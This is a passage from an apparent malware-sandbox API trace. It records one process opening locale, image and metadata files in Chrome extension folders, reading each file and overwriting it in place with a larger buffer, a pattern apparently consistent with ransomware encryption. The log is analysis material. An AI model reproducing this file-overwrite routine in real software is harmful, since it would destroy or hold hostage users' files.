HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.481] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.481] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x125 [0048.481] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.481] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.481] ReleaseMutex (hMutex=0x128) returned 1 [0048.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.481] ReadFile (in: hFile=0x170, lpBuffer=0x262e838, nNumberOfBytesToRead=0x125, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x262e838*, lpNumberOfBytesRead=0x2f4f2bc*=0x125, lpOverlapped=0x0) returned 1 [0048.482] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.482] WriteFile (in: hFile=0x170, lpBuffer=0x2620198*, nNumberOfBytesToWrite=0x6ad, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2620198*, lpNumberOfBytesWritten=0x2f4f2d0*=0x6ad, lpOverlapped=0x0) returned 1 [0048.482] CloseHandle (hObject=0x170) returned 1 [0048.483] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0048.483] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.483] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4454 [0048.483] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.483] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.483] ReleaseMutex (hMutex=0x128) returned 1 [0048.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0048.483] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x1e78b7c, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="verified_contents.json", lpUsedDefaultChar=0x0) returned 22 [0048.483] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.779] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3454 [0048.780] ReadFile (in: hFile=0x170, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.785] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3454 [0048.785] WriteFile (in: hFile=0x170, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.786] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0048.786] WriteFile (in: hFile=0x170, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.786] CloseHandle (hObject=0x170) returned 1 [0048.786] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.801] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.801] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa0 [0048.801] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.801] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.801] ReleaseMutex (hMutex=0x128) returned 1 [0048.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="topbar_floating_button_hover.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0048.801] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="topbar_floating_button_hover.png", cchWideChar=32, lpMultiByteStr=0x1eb2244, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="topbar_floating_button_hover.png", lpUsedDefaultChar=0x0) returned 32 [0048.801] ReadFile (in: hFile=0x1ac, lpBuffer=0x2515d28, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2515d28*, lpNumberOfBytesRead=0x2f4f2bc*=0xa0, lpOverlapped=0x0) returned 1 [0048.802] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.802] WriteFile (in: hFile=0x1ac, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x628, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2f4f2d0*=0x628, lpOverlapped=0x0) returned 1 [0048.802] CloseHandle (hObject=0x1ac) returned 1 [0048.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.803] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.803] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x269 [0048.803] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.803] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.804] ReleaseMutex (hMutex=0x128) returned 1 [0048.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fcc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.804] ReadFile (in: hFile=0x1ac, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x269, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x2f4f2bc*=0x269, lpOverlapped=0x0) returned 1 [0048.805] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.805] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7f1, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x7f1, lpOverlapped=0x0) returned 1 [0048.805] CloseHandle (hObject=0x1ac) returned 1 [0048.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.806] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.806] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2c6 [0048.806] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.806] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.806] ReleaseMutex (hMutex=0x128) returned 1 [0048.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.806] ReadFile (in: hFile=0x1ac, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x2f4f2bc*=0x2c6, lpOverlapped=0x0) returned 1 [0048.807] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.808] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x84e, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x84e, lpOverlapped=0x0) returned 1 [0048.808] CloseHandle (hObject=0x1ac) returned 1 [0048.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.808] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.808] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x29b [0048.809] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.809] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.809] ReleaseMutex (hMutex=0x128) returned 1 [0048.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.809] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fcc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.809] ReadFile (in: hFile=0x1ac, lpBuffer=0x2739038, nNumberOfBytesToRead=0x29b, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x2f4f2bc*=0x29b, lpOverlapped=0x0) returned 1 [0048.810] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.810] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x823, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2f4f2d0*=0x823, lpOverlapped=0x0) returned 1 [0048.811] CloseHandle (hObject=0x1ac) returned 1 [0048.811] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.811] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.811] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x315 [0048.811] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.811] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.811] ReleaseMutex (hMutex=0x128) returned 1 [0048.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.811] ReadFile (in: hFile=0x1ac, lpBuffer=0x2750828, nNumberOfBytesToRead=0x315, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesRead=0x2f4f2bc*=0x315, lpOverlapped=0x0) returned 1 [0048.813] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.813] WriteFile (in: hFile=0x1ac, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x89d, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x2f4f2d0*=0x89d, lpOverlapped=0x0) returned 1 [0048.813] CloseHandle (hObject=0x1ac) returned 1 [0048.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.814] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.814] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xf9 [0048.815] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.815] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.815] ReleaseMutex (hMutex=0x128) returned 1 [0048.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.815] ReadFile (in: hFile=0x1ac, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xf9, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x2f4f2bc*=0xf9, lpOverlapped=0x0) returned 1 [0048.815] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.816] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x681, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x681, lpOverlapped=0x0) returned 1 [0048.816] CloseHandle (hObject=0x1ac) returned 1 [0048.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.817] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.817] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xe6 [0048.817] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.817] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.817] ReleaseMutex (hMutex=0x128) returned 1 [0048.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.817] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.817] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x2f4f2bc*=0xe6, lpOverlapped=0x0) returned 1 [0048.818] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.818] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66e, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x66e, lpOverlapped=0x0) returned 1 [0048.818] CloseHandle (hObject=0x1ac) returned 1 [0048.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.819] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.819] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x108 [0048.819] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.820] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.820] ReleaseMutex (hMutex=0x128) returned 1 [0048.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, 